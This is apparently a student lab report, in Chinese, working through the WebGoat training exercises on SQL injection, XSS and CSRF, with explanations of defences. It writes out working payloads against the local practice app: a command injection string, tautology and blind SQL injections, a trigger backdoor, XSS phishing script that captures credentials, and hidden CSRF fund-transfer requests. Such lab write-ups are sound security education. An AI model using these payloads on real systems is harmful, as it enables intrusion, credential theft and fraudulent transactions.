基础问题回答
实践过程记录
webGoat 安装
SQL 注入攻击
1. 命令注入(Command Injection)
2. 数字型注入(Numeric SQL Injection)
3. 日志欺骗(Log Spoofing)
4.SQL 注入(LAB: SQL Injection)
5. 字符串注入(String SQL Injection)
6. 数据库后门(Database Backdoors)
7. 数字型盲注入(Blind Numeric SQL Injection)
8. 字符串型盲注入(Blind String SQL Injection)
XSS 攻击
1.XSS 钓鱼(Phishing with XSS)
2. 存储型 XSS 攻击(Stored XSS Attacks)
3. 反射型 XSS 攻击(Reflected XSS Attacks)
CSRF 攻击
1. 跨站请求伪造(Cross Site Request Forgery (CSRF))
2. 绕过 CSRF 确认( CSRF Prompt By-Pass)
实验总结与体会
基础问题回答
1.SQL 注入攻击原理, 如何防御?
原理: SQL 注入, 就是通过把 SQL 命令插入到 Web 表单递交或输入域名或页面请求的查询字符串, 最终达到欺骗服务器执行恶意的 SQL 命令.
sql 注入攻击是利用是指利用设计上的漏洞, 在目标服务器上运行 Sql 语句以及进行其他方式的攻击, 动态生成 Sql 语句时没有对用户输入的数据进行验证是 Sql 注入攻击得逞的主要原因. 如: 在用户名, 密码登输入框中输入一些',--,# 等特殊字符, 实现引号闭合, 注释部分 SQL 语句, 利用永真式实现登录, 显示信息等目的.
防御:
关闭或删除不必要的交互式提交表单页面;
对漏洞注入点相关代码进行关键字的过滤(如: 利用正则表达式), 以规范代码安全性;
不要在服务器端放置备份的文件以免受到感染, 或备份的文件含有漏洞, 造成切入点;
将数据库里的内容进行加密处理使其不具有特殊的意义.
2.XSS 攻击的原理, 如何防御?
原理: XSS: 跨站脚本. 攻击者利用网站漏洞 (通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤), 输入可以显示在页面上的, 对其他用户造成影响的 html 代码; 由于受害者浏览器对目标服务器的信任, 当其访问目标服务器上被注入恶意脚本(如: HTML 标签或者 JavaScript 代码) 的页面后, 这段恶意脚本可以顺利执行, 实现获取用户 cookie 并可以利用用户身份进行非法操作的目的.
防御:
用户角度: 提高防范意识, 不要轻易输入个人信息, 如用户名密码;
网页制作者角度:
对输入和 URL 参数进行过滤
在输出数据之前对潜在的威胁的字符进行编码, 转义
3.CSRF 攻击原理, 如何防御?
原理:
CSRF : 跨站请求伪造.
CSRF 就是冒名登录. 跨站请求伪造的核心本质是窃取用户的 Session, 或者说 Cookie, 因为目前主流情况 Session 都是存在 Cookie 中. 攻击者并不关心被害者具体帐号和密码, 因为一旦用户进行了登录, Session 就是用户的唯一凭证, 只要攻击者能够得到 Session, 就可以伪装成被害者进入服务器.
主要是当访问网站 A 时输入用户名和密码, 在通过验证后, 网站 A 产生 Cookie 信息并返回, 此时登录网站 A 成功, 可正常发送请求到网站 A. 在未退出网站 A 前, 若访问另一个网站 B, 网站 B 可返回一些攻击性代码并请求访问网站 A; 因此在网站 B 的请求下, 向网站 A 发出请求. 但网站 A 不知道该请求恶意的, 因此还是会执行该恶意代码
防御:
验证请求中的 Token
验证 Referer
添加加随机验证
设定 cookie 域
返回目录
实践过程记录
WebGoat
WebGoat 是 OWASP 组织研制出的用于进行 Web 漏洞实验的应用平台, 用来说明 Web 应用中存在的安全漏洞. WebGoat 运行在带有 java 虚拟机的平台之上, 目前提供的训练课程有很多, 包含了 XSS, 线程安全, SQL 注入, 访问控制, 隐藏字段, Cookie 等.
参考资料: webgoat 学习笔记 http://www.vuln.cn/6544
也可参考 WebGoat 中文手册
因 WebGoat 默认使用 8080 端口, 所以开启前先用
netstat -tupln | grep 8080
查看端口是否被占用, 如果被占用, 用 kill 进程号终止占用 8080 端口的进程.
普通安装, 命令行输入
java -jar webgoat-container-7.0.1-war-exec.jar
浏览器转:
localhost:8080/WebGoat
直接用默认用户名密码登录即可, 开始练习
返回目录
SQL 注入攻击(Injection Flaws)
1. 命令注入(Command Injection)
概念: 命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁. 这种攻击技术背后的技术方法, 简单易学, 能造成大范围的损害, 危及系统安全. 尽管这类风险数目令人难以置信, 互联网中的系统很容易受到这种形式的攻击.
原理: 在正常的参数提交过程中添加恶意代码以执行某条指令.
目标: 可以在目标主机上执行任何系统命令
操作方法:
右键点击页面, 选择 inspect Element 审查网页元素对源代码进行修改, 在复选框中任意一栏的代码, 右键单击后, 选择 Edit At HTML 进行修改, 添加
"& netstat -an & ipconfig"
点击 view, 可以看到执行指令后的网络端口使用情况和 IP 地址. 攻击成功!
返回目录
2. 数字型注入(Numeric SQL Injection)
概念: 注入数字型数据 (如: 永真式) 达到注入的效果.
原理: 在 station 字段中注入特征字符, 组合成新的 SQL 语句.
如: SELECT * FROM weather_data WHERE station = [station]
目标: 该例子通过注入 SQL 字符串查看所有的天气数据.
操作方法:
右键点击页面, 选择 inspect Element 审查网页元素对源代码进行修改, 在选中的城市编号 Value 值中添加 or 1=1
显示所有城市的天气情况, 攻击成功!
返回目录
3. 日志欺骗(Log Spoofing)
概念: 通过在日志文件中插入脚本实现欺骗.
原理: 在日志文件中愚弄人的眼睛, 攻击者可以利用这种方式清除他们在日志中的痕迹
目标: 灰色区域代表在 Web 服务器的日志中的记录的内容, 我们的目的是使用户名为 "admin" 的用户在日志中显示 "成功登录"
操作方法:
前提: 本题目接受用户输入的任何一个用户名, 并将其追加到日志文件中.
利用入回车 (0D%) 和换行符(), 在 username 中填入
sxxLogin Succeeded for username: admin
攻击者可以利用这种方式向日志文件中添加恶意脚本, 脚本的返回信息管理员能够通过浏览器看到. 比如, 将 admin <script>alert(document.cookie)</script > 作为用户名输入, 可以看到弹窗的 cookie 信息.
返回目录
4.SQL 注入(LAB: SQL Injection)
Stage 1: 字符串型注入(Stage 1: String SQL Injection)
原理: 通过注入字符串绕过认证
操作方法:
右键点击页面, 选择 inspect Element 审查网页元素对源代码进行修改, 将 password 密码框的最大长度限制改为 18.
以用户 Neville(admit)登录, 输入密码 hello'or'1'='1
得到所有人员列表, 攻击成功!
Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)
原理: 通过注入数字型数据, 绕过认证, 可以通过普通员工的账户, 查看到 BOSS 的用户信息.
操作方法:
使用用户名 Larry, 密码 larry 点击 login 登录, 点击 ViewProfile 查看用户信息
右键点击页面, 选择 inspect Element 审查网页元素源代码, 我们可以看到数据库索引的依据是员工 ID, 推测返回的是每次查询到的第一条数据.
用社会工程学解释老板应该是工资最高的, 所以将员工 ID 的 value 改成 101 or 1=1 order by salary desc, 使得老板的信息作为查询到的第一条数据.
得到老板的账户信息, 攻击成功!
返回目录
5. 字符串注入(String SQL Injection)
概念: 通过注入字符串绕过认证
原理: 基于以下查询语句构造自己的 SQL 注入字符串.
SELECT * FROM user_data WHERE last_name = '?'
目标: 下面的表格, 允许用户查看他们的信用卡号码. 尝试通过 SQL 注入将所有信用卡信息 显示出来. 尝试的用户名是 "Smith".
操作方法:
正常情况下只能查询到用户名对应的信用卡号码
输入查询的用户名 Smith' or 1=1--(Smith 和 1=1 都成了查询的条件, 而 1=1 是恒等式, 因此能查询到表里面的所有数据)
得到所有用户的信用卡号码, 攻击成功!
返回目录
6. 数据库后门(Database Backdoors)
原理: 数据库通常作为一个 Web 应用程序的后端来使用. 此外, 它也用来作为存储的媒介. 它也可以被用来作为存储恶意活动的地方, 如触发器. 触发器是在数据库管理系统上调用另 一个数据库操作, 如 insert, select, update or delete. 举个例子: 攻击者可以创建一个触发器, 该触发器在创建新用户时, 将每个新用户的 Email 地址设置为攻击者的地址.
目标: 利用查询的脆弱性创建触发器. 由于 WebGoat 使用的是 MySQL 数据库, 不支持触发器, 所以该课程不会真正完成. 我们的 Login ID 是 101.
操作方法:
输入 101, 得到该用户的信息. 我们可以看到, 输入的语句没有验证, 很容易进行 SQL 注入
输入注入语句
101; update employee set salary=18000
执行两个语句
输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]'WHERE userid = NEW.userid
BEFORE/AFTER 参数指定了触发执行的时间, 在事件之前或是之后
FOR EACH ROW 表示任何一条记录上的操作满足触发事件都会触发该触发器, 也就是说触发器的触发频率是针对每一行数据触发一次
返回目录
7. 数字型盲注入(Blind Numeric SQL Injection)
原理: 某些 SQL 注入是没有明确返回信息的, 只能通过条件的 "真" 和 "假" 进行判断. 攻击者必须充分利用查询语句, 构造子查询语.
目标: 该题目允许输入一个帐号, 并检测该帐号是否合法. 使用该表单的返回信息 (真或假) 测试检查数据库中其它条目信息. 我们找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值. pin 字段类型为 int, 整型. 输入找到的数值并提交, 通过该题目.
操作方法:
本题目中, 服务端页面返回的信息只有两种: 帐号有效或无效. 因此无法简单地查询到帐号的 PIN 数值. 但我们可以利用系统后台在用的查询语句 SELECT * FROM user_data WHERE userid=accountNumber;
如果该查询语句返回了帐号的信息, 页面将提示帐号有效, 否则提示无效. 使用 AND 函数, 我们可以添加一些额外的查询条件. 如果该查询条件同样为真, 则返回结果应提示帐 号有效, 否则无效.
例如: 输入查询语句 101 AND 1=1, 因为两个条件都成立, 所以页面返回帐号有效
输入查询语句 101 AND 1=2, 因为第二个条件不成立, 所以而页面返回帐号无效
针对查询语句的后半部分构造复杂语句, 如:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444')> 5000 )
; 如果提示无效, 则 pin 值小于 5000, 使用二分法, 最终得出 pin 的值为 2364
返回目录
8. 字符串型盲注入(Blind String SQL Injection)
原理: 与数字型盲注入类似, 某些 SQL 注入是没有明确返回信息的, 只能通过条件的 "真" 和 "假" 进行判断. 攻击者必须充分利用查询语句, 构造子查询语.
目标: 找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的数值. pin 字段类型为 varchar. 输入找到的数值 (最终的字符串, 注意拼写和大写) 并提交, 通过本题目.
操作方法:
与数字型盲注入类似, 只是将注入的数字换为字符串而已
例如: 输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) <'M' )
; 取得 pin 字段数值的第一个字母, 并判断其是否比字母 "M" 小
SUBSTRING 语法为
SUBSTRING(STRING,START,LENGTH)
同样使用二分法进行测试, 最后得到 pin 字段为 Jill
返回目录
XSS 攻击(Cross-Site Scripting)
跨站脚本攻击是通过 HTML 注入劫持用户的浏览器, 任意构造用户当前浏览的 HTML 内容, 可以模拟用户当前的操作. 这里实验的是一种获取用户名和密码的攻击.
1.XSS 钓鱼(Phishing with XSS)
原理: 当用户输入非法 HTTP 响应时容易受到 XSS 攻击. 在 XSS 的帮助下, 可以实现钓鱼工具或向某些官方页面中增加内容. 对于受害者来说很难发现该内容是否存在威胁.
目标: 创建一个 form, 要求填写用户名和密码. 将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
操作方法:
利用 XSS 可以在已存在的页面中进一步添加元素, 包括两部分:
受害人填写一个表格;
服务器以读取脚本的形式, 将收集到的信息发送给攻击者.
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息, 将这些信息发送给捕获这些信息的 WebGoat
编写一个带用户名和密码输入框的表格
- // 脚本
- </form>
- <script>
- function hack(){
- XSSImage=new Image;
- XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
- alert("Had this been a real attack... Your credentials were just stolen. User Name =" + document.phish.user.value + "Password =" + document.phish.pass.value);
- }
- </script>
- <form name="phish">
- <br>
- <br>
- // 表格
- <HR>
- <H2>This feature requires account login:</H2>
- <br>
- <br>Enter Username:<br>
- <input type="text" name="user">
- <br>Enter Password:<br>
- <input type="password" name = "pass">
- <br>
- <input type="submit" name="login" value="login" onclick="hack()">
- </form>
- <br>
- <br>
- <HR>
返回目录
2. 存储型 XSS 攻击(Stored XSS Attacks)
原理: 这种攻击常见于论坛等留言平台, 用户留言的时候输入一段 JavaScript 脚本, 这段脚本就会被保存在数据库中. 因为是留言, 所以任何用户在打开网页的时候, 这个脚本就会被从数据库中取出来而运行.
目标: 写入非法的消息内容, 可以导致其他用户访问时载入非预期的页面或内容
操作方法:
在 title 中任意输入字符, 留言板中输入
<script>alert("I am 20165318sxx. You've been attacked!!!");</script>
返回目录
3. 反射型 XSS 攻击(Reflected XSS Attacks)
原理: 在反射的 XSS 攻击中, 攻击者可以使用攻击脚本创建一个 URL, 并将其发布到另一个网站, 通过电子邮件或其他方式让受害者点击它.
目标: 使用攻击脚本创建 URL, 并将其写入网站中, 当读取到该 URL 的时候就会被攻击
操作方法:
输入代码
<script>alert("hhhhh You've been attacked!!!");</script>
, 点击 purse 的同时页面就给出了反馈
返回目录
CSRF 攻击
跨站请求伪造, 尽管听起来像跨站脚本 (XSS), 但它与 XSS 非常不同, XSS 利用站点内的信任用户, 而 CSRF 则通过伪装来自受信任用户的请求来利用受信任的网站. 与 XSS 攻击相比, CSRF 攻击往往不大流行(因此对其进行防范的资源也相当稀少) 和难以防范, 所以被认为比 XSS 更具危险性.
1. 跨站请求伪造(Cross Site Request Forgery (CSRF))
原理: 跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段. 如:<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>, 当受害者的浏览器试图呈现此页面时, 它将使用指定的参数向 www.mybank.com 的 "me" 端点发出请求. 浏览器将请求链接以获得图像, 即使它实际上是一个资金转移功能. 提交请求时, 浏览器将添加与站点相关的所有 cookie. 因此, 如果用户对站点进行了身份验证, 并且拥有永久或当前会话 cookie, 那么站点将无法将其与合法的用户请求区分开来. 通过这种方式, 攻击者可以让受害者执行他们不打算执行的操作, 比如 "购买物品", 或者脆弱网站提供的任何其他功能.
目标: 向新闻组发送一封 email. 这个 email 包含一个 image, 其 URL 指向一个恶意请求. URL 应该指向 "攻击"servlet, 其中包含 "屏幕" 和 "菜单" 参数, 以及一个额外的参数 "transferFunds", 其数值为 5000. 可以通过在右侧插入的参数中找到 "Screen" 和 "menu" 值来构造链接. 当经过身份验证的 CSRF 电子邮件的收件人将被转移他们的资金.
操作方法:
查看页面右侧 Parameters 中的 src 和 menu 值, 分别为 267 和 900
在 title 中输入任何参数, message 框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />
, 以图片的的形式将 URL 放进 Message 框, 这时的 URL 对其他用户是不可见的(宽高设置成 1 像素的目的是隐藏该图片), 用户一旦点击图片, 就会触发一个 CSRF 事件, 点击 Submit 提交
在 Message List 中生成以 Title 命名的消息. 点击该消息, 当前页面就会下载这个消息并显示出来, 转走用户的 5000 元, 从而达到 CSRF 攻击的目的. 可以从左侧的任务栏看到任务已完成.
返回目录
2. 绕过 CSRF 确认( CSRF Prompt By-Pass)
原理: 跨站点请求伪造 (CSRF/XSRF) 是一种攻击, 它欺骗受害者加载包含 "伪造请求" 的页面, 以便使用受害者的凭据执行命令. 提示用户确认或取消命令可能听起来像一个解决方案, 但如果提示符是可编写脚本的, 则可以忽略它. 本课展示如何通过发出另一个伪造的请求来绕过这样的提示符. 这也适用于一系列提示, 例如向导或发出多个不相关的伪造请求.
目标: 与上一个题目类似, 向包含多个恶意请求的新闻组发送电子邮件: 第一个请求用于转移资金, 第二个请求用于确认第一个请求触发的提示符. url 应该指向攻击 servlet, 其中包含这个 CSRF-prompt-by-pass 课程的屏幕, 菜单参数和一个额外的参数 "transferFunds", 其中包含一个数值 "5000" 来启动传输, 一个字符串值 "CONFIRM" 来完成传输. 您可以从右边的插图中复制课程的参数, 创建格式为 attack?Screen=XXX&menu=YYY&transferFunds=ZZZ 的 url. 无论谁收到这封电子邮件, 并且碰巧在那个时候通过了身份验证, 他的资金就会被转移.
操作方法:
查看页面右侧 Parameters 中的 src 和 menu 值分别为 270 和 900
并在 title 框中输入学号, message 框中输入代码:
- <iframe src="attack?Screen=270&menu=900&transferFunds=5000">
- </iframe>
- <iframe src="attack?Screen=270&menu=900&transferFunds=CONFIRM">
- </iframe>
在 Message List 中生成以 Title 命名的链接, 点击进入后, 攻击成功, 可以从左侧的任务栏看到任务已完成.
返回目录
实验总结与体会
本次实验内容都是在 Webgoat 平台上进行, 配置环境并没有花费太长的时间, 整体来说, 本次实验很顺利的完成了. Webgoat 的中文手册对每一个小实验的原理都介绍得非常清楚, 便于理解每个题目的要求. 在实验的过程中, 先理解原理, 再根据要求进行实验, 做到融会贯通, 做好学懂!
返回目录
来源: http://www.bubuko.com/infodetail-3069755.html